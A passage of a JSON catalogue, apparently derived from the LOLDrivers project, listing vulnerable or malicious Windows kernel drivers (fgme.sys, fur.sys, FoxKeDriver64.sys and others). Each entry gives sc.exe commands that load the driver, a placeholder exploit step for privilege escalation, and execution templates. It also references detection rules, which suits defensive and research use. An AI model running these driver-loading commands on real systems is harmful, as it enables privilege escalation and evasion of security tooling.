    "name": "fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys",
    "namespace": "windows:kernel:fd3b7234419fafc9bdd533f48896ed73-b816c5cd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/114"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create FDMCJHJYXZITI binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\FDMCJHJYXZITI.sys type=kernel && sc.exe start FDMCJHJYXZITI\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver FDMCJHJYXZITI.sys\"\n\n# FDMCJHJYXZITI.sys\n\nFDMCJHJYXZITI.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fdmcjhjyxziti.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "FDMCJHJYXZITI.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create FDMCJHJYXZITI binPath=C:\\windows\\temp\\FDMCJHJYXZITI.sys type=kernel && sc.exe start FDMCJHJYXZITI",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-fdmcjhjyxziti",
    "install": [
      {
        "method": "custom",
        "description": "Load FDMCJHJYXZITI.sys kernel driver",
        "commands": [
          "sc.exe create FDMCJHJYXZITI binPath=C:\\windows\\temp\\FDMCJHJYXZITI.sys type=kernel && sc.exe start FDMCJHJYXZITI"
        ]
      }
    ],
    "name": "FDMCJHJYXZITI.sys",
    "namespace": "windows:kernel:fdmcjhjyxziti",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fgme.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fgme.sys type=kernel && sc.exe start fgme.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fgme.sys\"\n\n# fgme.sys\n\nBlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fgme.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.",
    "execution": {
      "template": "sc.exe create fgme.sys binPath=C:\\windows\\temp\\fgme.sys type=kernel && sc.exe start fgme.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-fgme",
    "install": [
      {
        "method": "custom",
        "description": "Load fgme.sys kernel driver",
        "commands": [
          "sc.exe create fgme.sys binPath=C:\\windows\\temp\\fgme.sys type=kernel && sc.exe start fgme.sys"
        ]
      }
    ],
    "name": "fgme.sys",
    "namespace": "windows:kernel:fgme",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create FH-EtherCAT_DIOsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\FH-EtherCAT_DIOsys.sys type=kernel && sc.exe start FH-EtherCAT_DIOsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver FH-EtherCAT_DIO.sys\"\n\n# FH-EtherCAT_DIO.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fh-ethercat-dio.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create FH-EtherCAT_DIOsys binPath= C:\\windows\\temp\\FH-EtherCAT_DIOsys.sys type=kernel && sc.exe start FH-EtherCAT_DIOsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-fh-ethercat-dio",
    "install": [
      {
        "method": "custom",
        "description": "Load FH-EtherCAT_DIO.sys kernel driver",
        "commands": [
          "sc.exe create FH-EtherCAT_DIOsys binPath= C:\\windows\\temp\\FH-EtherCAT_DIOsys.sys type=kernel && sc.exe start FH-EtherCAT_DIOsys"
        ]
      }
    ],
    "name": "FH-EtherCAT_DIO.sys",
    "namespace": "windows:kernel:fh-ethercat-dio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fiddrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fiddrv.sys type=kernel && sc.exe start fiddrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fiddrv.sys\"\n\n# fiddrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fiddrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create fiddrv.sys binPath=C:\\windows\\temp\\fiddrv.sys type=kernel && sc.exe start fiddrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fiddrv",
    "install": [
      {
        "method": "custom",
        "description": "Load fiddrv.sys kernel driver",
        "commands": [
          "sc.exe create fiddrv.sys binPath=C:\\windows\\temp\\fiddrv.sys type=kernel && sc.exe start fiddrv.sys"
        ]
      }
    ],
    "name": "fiddrv.sys",
    "namespace": "windows:kernel:fiddrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fiddrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fiddrv64.sys type=kernel && sc.exe start fiddrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fiddrv64.sys\"\n\n# fiddrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fiddrv64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create fiddrv64.sys binPath=C:\\windows\\temp\\fiddrv64.sys type=kernel && sc.exe start fiddrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fiddrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load fiddrv64.sys kernel driver",
        "commands": [
          "sc.exe create fiddrv64.sys binPath=C:\\windows\\temp\\fiddrv64.sys type=kernel && sc.exe start fiddrv64.sys"
        ]
      }
    ],
    "name": "fiddrv64.sys",
    "namespace": "windows:kernel:fiddrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fidpcidrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fidpcidrv.sys type=kernel && sc.exe start fidpcidrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fidpcidrv.sys\"\n\n# fidpcidrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fidpcidrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create fidpcidrv.sys binPath=C:\\windows\\temp\\fidpcidrv.sys type=kernel && sc.exe start fidpcidrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fidpcidrv",
    "install": [
      {
        "method": "custom",
        "description": "Load fidpcidrv.sys kernel driver",
        "commands": [
          "sc.exe create fidpcidrv.sys binPath=C:\\windows\\temp\\fidpcidrv.sys type=kernel && sc.exe start fidpcidrv.sys"
        ]
      }
    ],
    "name": "fidpcidrv.sys",
    "namespace": "windows:kernel:fidpcidrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fidpcidrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fidpcidrv64.sys     type=kernel && sc.exe start fidpcidrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fidpcidrv64.sys\"\n\n# fidpcidrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fidpcidrv64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create fidpcidrv64.sys binPath=C:\\windows\\temp\\fidpcidrv64.sys     type=kernel && sc.exe start fidpcidrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fidpcidrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load fidpcidrv64.sys kernel driver",
        "commands": [
          "sc.exe create fidpcidrv64.sys binPath=C:\\windows\\temp\\fidpcidrv64.sys     type=kernel && sc.exe start fidpcidrv64.sys"
        ]
      }
    ],
    "name": "fidpcidrv64.sys",
    "namespace": "windows:kernel:fidpcidrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fildds.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fildds.sys type=kernel && sc.exe start fildds.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fildds.sys\"\n\n# fildds.sys\n\nTwister Antivirus, fildds.sys, DoS2\nCVE-2023-1444\nFrom IoControlCode 0x8011206B, a normal user can cause DoS due to writing into null address.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fildds.md",
    "author": "VirarK",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Twister Antivirus, fildds.sys, DoS2 CVE-2023-1444 From IoControlCode 0x8011206B, a normal user can cause DoS due to writing into null address.",
    "execution": {
      "template": "sc.exe create fildds.sys binPath=C:\\windows\\temp\\fildds.sys type=kernel && sc.exe start fildds.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-fildds",
    "install": [
      {
        "method": "custom",
        "description": "Load fildds.sys kernel driver",
        "commands": [
          "sc.exe create fildds.sys binPath=C:\\windows\\temp\\fildds.sys type=kernel && sc.exe start fildds.sys"
        ]
      }
    ],
    "name": "fildds.sys",
    "namespace": "windows:kernel:fildds",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1444"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create filnk.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\filnk.sys type=kernel && sc.exe start filnk.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver filnk.sys\"\n\n# filnk.sys\n\nTwister Antivirus, fildds.sys, DoS2\n\n    CVE-2023-1444\n\n    From IoControlCode 0x8011206B, a normal user can cause DoS due to writing into\n    null address.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-filnk.md",
    "author": "VirarK",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Twister Antivirus, fildds.sys, DoS2\nCVE-2023-1444\nFrom IoControlCode 0x8011206B, a normal user can cause DoS due to writing into null address.",
    "execution": {
      "template": "sc.exe create filnk.sys binPath=C:\\windows\\temp\\filnk.sys type=kernel && sc.exe start filnk.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-filnk",
    "install": [
      {
        "method": "custom",
        "description": "Load filnk.sys kernel driver",
        "commands": [
          "sc.exe create filnk.sys binPath=C:\\windows\\temp\\filnk.sys type=kernel && sc.exe start filnk.sys"
        ]
      }
    ],
    "name": "filnk.sys",
    "namespace": "windows:kernel:filnk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1444"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create filwfp.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\filwfp.sys type=kernel && sc.exe start filwfp.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver filwfp.sys\"\n\n# filwfp.sys\n\nTwister Antivirus, fildds.sys, DoS2\n\n    CVE-2023-1444\n\n    From IoControlCode 0x8011206B, a normal user can cause DoS due to writing into\n    null address.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-filwfp.md",
    "author": "VirarK",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Twister Antivirus, fildds.sys, DoS2\nCVE-2023-1444\nFrom IoControlCode 0x8011206B, a normal user can cause DoS due to writing into null address.",
    "execution": {
      "template": "sc.exe create filwfp.sys binPath=C:\\windows\\temp\\filwfp.sys type=kernel && sc.exe start filwfp.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-filwfp",
    "install": [
      {
        "method": "custom",
        "description": "Load filwfp.sys kernel driver",
        "commands": [
          "sc.exe create filwfp.sys binPath=C:\\windows\\temp\\filwfp.sys type=kernel && sc.exe start filwfp.sys"
        ]
      }
    ],
    "name": "filwfp.sys",
    "namespace": "windows:kernel:filwfp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1444"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fjfwupgd binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fjfwupgd.sys type=kernel && sc.exe start fjfwupgd\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fjfwupgd.sys\"\n\n# fjfwupgd.sys\n\nfjfwupgd.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fjfwupgd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "fjfwupgd.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create fjfwupgd binPath=C:\\windows\\temp\\fjfwupgd.sys type=kernel && sc.exe start fjfwupgd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-fjfwupgd",
    "install": [
      {
        "method": "custom",
        "description": "Load fjfwupgd.sys kernel driver",
        "commands": [
          "sc.exe create fjfwupgd binPath=C:\\windows\\temp\\fjfwupgd.sys type=kernel && sc.exe start fjfwupgd"
        ]
      }
    ],
    "name": "fjfwupgd.sys",
    "namespace": "windows:kernel:fjfwupgd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create FoxKeDriver64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\FoxKeDriver64.sys type=kernel && sc.exe start FoxKeDriver64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver FoxKeDriver64.sys\"\n\n# FoxKeDriver64.sys\n\nFoxKeDriver64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-foxkedriver64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "FoxKeDriver64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create FoxKeDriver64 binPath=C:\\windows\\temp\\FoxKeDriver64.sys type=kernel && sc.exe start FoxKeDriver64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-foxkedriver64",
    "install": [
      {
        "method": "custom",
        "description": "Load FoxKeDriver64.sys kernel driver",
        "commands": [
          "sc.exe create FoxKeDriver64 binPath=C:\\windows\\temp\\FoxKeDriver64.sys type=kernel && sc.exe start FoxKeDriver64"
        ]
      }
    ],
    "name": "FoxKeDriver64.sys",
    "namespace": "windows:kernel:foxkedriver64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create FPCIE2COMsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\FPCIE2COMsys.sys type=kernel && sc.exe start FPCIE2COMsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver FPCIE2COM.sys\"\n\n# FPCIE2COM.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fpcie2com.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create FPCIE2COMsys binPath= C:\\windows\\temp\\FPCIE2COMsys.sys type=kernel && sc.exe start FPCIE2COMsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-fpcie2com",
    "install": [
      {
        "method": "custom",
        "description": "Load FPCIE2COM.sys kernel driver",
        "commands": [
          "sc.exe create FPCIE2COMsys binPath= C:\\windows\\temp\\FPCIE2COMsys.sys type=kernel && sc.exe start FPCIE2COMsys"
        ]
      }
    ],
    "name": "FPCIE2COM.sys",
    "namespace": "windows:kernel:fpcie2com",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create full.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\full.sys type=kernel && sc.exe start full.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver full.sys\"\n\n# full.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-full.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create full.sys binPath=C:\\windows\\temp\\full.sys type=kernel && sc.exe start full.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-full",
    "install": [
      {
        "method": "custom",
        "description": "Load full.sys kernel driver",
        "commands": [
          "sc.exe create full.sys binPath=C:\\windows\\temp\\full.sys type=kernel && sc.exe start full.sys"
        ]
      }
    ],
    "name": "full.sys",
    "namespace": "windows:kernel:full",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fur.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fur.sys type=kernel && sc.exe start fur.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fur.sys\"\n\n# fur.sys\n\nSophosLabs has discovered that threat actors are using a new driver loader called BURNTCIGAR to install a malicious driver signed with Microsoft.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fur.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SophosLabs has discovered that threat actors are using a new driver loader called BURNTCIGAR to install a malicious driver signed with Microsoft.",
    "execution": {
      "template": "sc.exe create fur.sys binPath=C:\\windows\\temp\\fur.sys type=kernel && sc.exe start fur.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fur",
    "install": [
      {
        "method": "custom",
        "description": "Load fur.sys kernel driver",
        "commands": [
          "sc.exe create fur.sys binPath=C:\\windows\\temp\\fur.sys type=kernel && sc.exe start fur.sys"
        ]
      }
    ],
    "name": "fur.sys",
    "namespace": "windows:kernel:fur",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware, https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gameink.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gameink.sys type=kernel && sc.exe start gameink.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver gameink.sys\"\n\n# gameink.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gameink.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create gameink.sys binPath=C:\\windows\\temp\\gameink.sys type=kernel && sc.exe start gameink.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-gameink",
    "install": [
      {
        "method": "custom",
        "description": "Load gameink.sys kernel driver",
        "commands": [
